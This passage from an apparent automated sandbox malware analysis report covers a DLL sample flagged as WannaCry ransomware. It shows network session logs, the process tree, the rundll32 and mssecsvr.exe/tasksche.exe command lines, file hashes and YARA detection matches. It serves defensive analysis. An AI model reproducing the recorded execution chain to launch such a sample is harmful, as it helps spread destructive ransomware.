2022-07-20 07:07:49 UTC	194	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 07:07:49 UTC	214	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 07:06:49 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 06ba9144-65c8-4dbc-b4fe-b0a2713cac19 PPServer: PPV: 30 H: BL6PPF7BA04C2AF V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 07:07:49 GMT Connection: close Content-Length: 11093
2022-07-20 07:07:49 UTC	215	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.6	61473	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:11:22 UTC	8981	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 34 30 62 35 63 32 32 66 63 39 61 31 32 63 63 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: d40b5c22fc9a12cc
2022-07-20 07:11:22 UTC	8981	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 07:11:22 UTC	8981	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 34 30 62 35 63 32 32 66 63 39 61 31 32 63 63 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 67 62 38 6d 63 76 6f 59 71 2f 77 30 68 4c 32 35 4f 78 42 6b 6f 76 76 4b 55 6f 31 62 2f 59 4e 70 33 56 41 6f 66 65 41 70 6b 34 79 4d 55 44 70 75 65 52 32 34 4a 77 42 68 31 64 56 55 6a 50 48 42 38 6b 63 69 30 61 6a 74 78 41 73 4a 6f 46 6e 68 66 72 58 68 4e 4a 34 66 51 46 61 71 39 66 4b 50 49 73 38 58 37 31 4d 6d 4e 45 68 57 42 4d 41 2b 4c 43 75 4b 66 49 68 7a 65 52 39 58 73 44 32 47 2b 6f 34 53 4e 79 54 Data Ascii: ATH 2 CON\DEVICE 1014Context: d40b5c22fc9a12cc<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATgb8mcvoYq/w0hL25OxBkovvKUo1b/YNp3VAofeApk4yMUDpueR24JwBh1dVUjPHB8kci0ajtxAsJoFnhfrXhNJ4fQFaq9fKPIs8X71MmNEhWBMA+LCuKfIhzeR9XsD2G+o4SNyT
2022-07-20 07:11:22 UTC	8982	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 34 30 62 35 63 32 32 66 63 39 61 31 32 63 63 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: d40b5c22fc9a12cc
2022-07-20 07:11:22 UTC	8982	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 07:11:22 UTC	8982	IN	Data Raw: 4d 53 2d 43 56 3a 20 76 4c 37 56 35 46 59 6b 48 6b 4b 52 45 51 4e 66 34 49 41 77 66 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: vL7V5FYkHkKREQNf4IAwfQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.6	64872	40.126.31.71	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:11:54 UTC	8982	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4683 Host: login.live.com
2022-07-20 07:11:54 UTC	8983	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 07:11:54 UTC	9003	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 07:10:54 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: ef4e8b71-d769-4b9b-afcf-9d6fb16737e4 PPServer: PPV: 30 H: BL02PFAE199DE24 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 07:11:53 GMT Connection: close Content-Length: 10109
2022-07-20 07:11:54 UTC	9003	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.2.6	64873	40.126.31.71	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:11:54 UTC	8983	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4683 Host: login.live.com
2022-07-20 07:11:54 UTC	8988	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 07:11:54 UTC	8992	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 07:10:54 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: f0d17467-f9eb-40f1-987d-0931b0bfb97d PPServer: PPV: 30 H: BL02PF6A4985162 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 07:11:54 GMT Connection: close Content-Length: 10109
2022-07-20 07:11:54 UTC	8993	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.2.6	65004	40.126.31.71	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:11:55 UTC	9013	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4683 Host: login.live.com
2022-07-20 07:11:55 UTC	9014	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 07:11:56 UTC	9018	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 07:10:56 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: d9d3d776-afa4-442f-b8cb-dac9623b64f1 PPServer: PPV: 30 H: BL02PFA3937ABE4 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 07:11:55 GMT Connection: close Content-Length: 10109
2022-07-20 07:11:56 UTC	9019	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exePID: 7020, Parent PID: 5336

General

Target ID:	0
Start time:	09:07:11
Start date:	20/07/2022
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\48O5lgRp91.dll"
Imagebase:	0x1260000
File size:	116736 bytes
MD5 hash:	7DEB5DB86C0AC789123DEC286286B938
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 7032, Parent PID: 7020

General

Target ID:	1
Start time:	09:07:12
Start date:	20/07/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\48O5lgRp91.dll",#1
Imagebase:	0xed0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 7040, Parent PID: 7020

General

Target ID:	2
Start time:	09:07:12
Start date:	20/07/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\48O5lgRp91.dll,PlayGame
Imagebase:	0xb30000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 7052, Parent PID: 7032

General

Target ID:	3
Start time:	09:07:13
Start date:	20/07/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\48O5lgRp91.dll",#1
Imagebase:	0xb30000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: mssecsvr.exePID: 7092, Parent PID: 7052

General

Target ID:	4
Start time:	09:07:14
Start date:	20/07/2022
Path:	C:\Windows\mssecsvr.exe
Wow64 process (32bit):	true
Commandline:	C:\WINDOWS\mssecsvr.exe
Imagebase:	0x400000
File size:	2281472 bytes
MD5 hash:	142DB3228DD9177F5FDAEC26D0F0E19A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.378557270.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.380329258.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.383341101.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.377544877.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000002.393982614.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: WannaCry_Ransomware, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvr.exe, Author: Florian Roth (with the help of binar.ly) Rule: WannaCry_Ransomware_Gen, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvr.exe, Author: Florian Roth (based on rule by US CERT) Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: C:\Windows\mssecsvr.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 7104, Parent PID: 7020

General

Target ID:	5
Start time:	09:07:16
Start date:	20/07/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\48O5lgRp91.dll",PlayGame
Imagebase:	0xb30000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: mssecsvr.exePID: 7116, Parent PID: 7104

General

Target ID:	6
Start time:	09:07:17
Start date:	20/07/2022
Path:	C:\Windows\mssecsvr.exe
Wow64 process (32bit):	true
Commandline:	C:\WINDOWS\mssecsvr.exe
Imagebase:	0x400000
File size:	2281472 bytes
MD5 hash:	142DB3228DD9177F5FDAEC26D0F0E19A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000006.00000000.384217743.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000006.00000002.396748214.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000006.00000000.387978137.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000006.00000000.386527298.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000006.00000000.389511100.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security

Show Windows behavior

Chronological Activities

Analysis Process: mssecsvr.exePID: 7156, Parent PID: 588

General

Target ID:	7
Start time:	09:07:19
Start date:	20/07/2022
Path:	C:\Windows\mssecsvr.exe
Wow64 process (32bit):	true
Commandline:	C:\WINDOWS\mssecsvr.exe -m security
Imagebase:	0x400000
File size:	2281472 bytes
MD5 hash:	142DB3228DD9177F5FDAEC26D0F0E19A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000007.00000000.388287786.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000007.00000002.984192317.000000000042E000.00000004.00000001.01000000.00000004.sdmp, Author: Joe Security

Show Windows behavior

Chronological Activities

Analysis Process: tasksche.exePID: 2304, Parent PID: 7092

General

Target ID:	8
Start time:	09:07:21
Start date:	20/07/2022
Path:	C:\Windows\tasksche.exe
Wow64 process (32bit):	true
Commandline:	C:\WINDOWS\tasksche.exe /i
Imagebase:	0x400000
File size:	2061938 bytes
MD5 hash:	BEB8A27FC024962E045C32AA58D07D0E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira

Show Windows behavior

Chronological Activities

Analysis Process: tasksche.exePID: 6424, Parent PID: 7116

General

Target ID:	9
Start time:	09:07:23
Start date:	20/07/2022
Path:	C:\Windows\tasksche.exe
Wow64 process (32bit):	true
Commandline:	C:\WINDOWS\tasksche.exe /i
Imagebase:	0x400000
File size:	2061938 bytes
MD5 hash:	BEB8A27FC024962E045C32AA58D07D0E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 1020, Parent PID: 588

General

Target ID:	15
Start time:	09:07:48
Start date:	20/07/2022
Path:	C:\Windows\System32\svchost.exe
